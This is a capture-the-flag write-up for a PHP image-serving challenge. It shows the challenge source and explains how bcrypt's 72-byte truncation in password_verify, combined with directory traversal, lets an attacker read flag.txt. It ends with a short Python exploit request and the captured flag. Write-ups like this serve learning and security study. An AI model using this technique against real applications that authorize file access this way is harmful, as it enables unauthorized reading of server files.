An initial look at the application tells us that we have a php application with the following source code:
<?php
// Authorized images are matched to their bcrypt hash values for maximum security
$AUTHORIZED_IMGS = [
'$2a$12$NmPFGriPq4VEFdx7y4XKde67/DFQgQVk/Cz.HxGWi0PV3aSk/JT12' => 'assets/data/img/cooper-s-hawk-profile-583855629-d89e191a88d1484db08800f067ba98e8.jpg',
'$2a$12$qsfcrstGdzpRVDNH5Dq//uSK6/Z6ZSBCca7fIeoyRBBdgQk8q3rX6' => 'assets/data/img/Red-shouldered_Hawk_Buteo_lineatus_-_Blue_Cypress_Lake_Florida.jpg',
'$2a$12$hPNstQ8F.EBu8z2/EDaXROPakN5L/hix0SUQQG6I6RPu/BcvSBDmC' => 'assets/data/img/harris_hawk_web.jpg',
'$2a$12$dp0lDL1FuN6irg2LB7j.EOFKte1313GSgz5DpBeTAtBY4gyCMd4KS' => 'assets/data/img/Hawk-146809760-612x612.jpg',
'$2a$12$5zq3d97d5wg1vUvoquZOA.JAeM1.778eWnDgSx/ymj9v1D8d4kLEC' => 'assets/data/img/Hawk-534214314-612x612.jpg',
//'$2a$12$v5UW4B3/j6F5vymG0tRDx.iSz7RFlrVlH3Om3zC3QfqiG.InCuKMW' => 'flag.txt'
];
if (empty($_GET)) {
include 'index.html';
exit();
}
$file_name = isset($_GET['file']) ? (string) $_GET['file'] : null;
$provided_hash = isset($_GET['hash']) ? (string) $_GET['hash'] : null;
var_dump($AUTHORIZED_IMGS);
var_dump($file_name);
var_dump($provided_hash);
if (!$file_name || !$provided_hash) {
http_response_code(400);
exit("Missing 'file' or 'hash' parameter.");
}
// Check if the file is authorized and the hash is valid
if (isset($AUTHORIZED_IMGS[$provided_hash]) && password_verify($file_name, $provided_hash)) {
header("Content-Type: image/png");
echo readfile($file_name);
exit();
}
// If no match, return forbidden
http_response_code(403);
exit("Invalid file or hash.");
?>
Analyzing the code reveals that we need set both the file
and the hash
parameter to reach the code that reads out file data. Also, due to the type casts to string
, it is not possible to try something funny there with different data types.
Due to the fact that it is not possible to modify the static list of valid hashes used as keys in the AUTHORIZED_IMGS
array, the vulnerability must lie within the following code:
password_verify($file_name, $provided_hash)
According to the documentation, this function does exactly what you would expect it to do…
Upon closer inspection however, the docs mention the use of the crypt()
function. And the docs of the crypt()
function contain this short but important statement:
Since the passwords are being truncated to 72 bytes before hashing, we can append arbitrary data after those 72 bytes and still get the same hash!
And wouldn’t you know it, there is a path that 84 bytes long!
assets/data/img/cooper-s-hawk-profile-583855629-d89e191a88d1484db08800f067ba98e8.jpg
We can use all of the gained knowledge above to craft a file path that uses the first 72 bytes (or more) of an allowed file and append a directory traversal attack to get the server to return us the flag:
import requests
URL = "https://hawkta.insomnihack.ch/"
r = requests.get(URL + "?file=assets/data/img/cooper-s-hawk-profile-583855629-d89e191a88d1484db08800f067ba9/../../../../../../../../../../var/www/html/flag.txt&hash=$2a$12$NmPFGriPq4VEFdx7y4XKde67/DFQgQVk/Cz.HxGWi0PV3aSk/JT12")
print(r.text)
Running the exploit script gave me the flag: INS{Okta_w4lked-s0-my-H4wks-c0uld-fly-through-BcRYpT}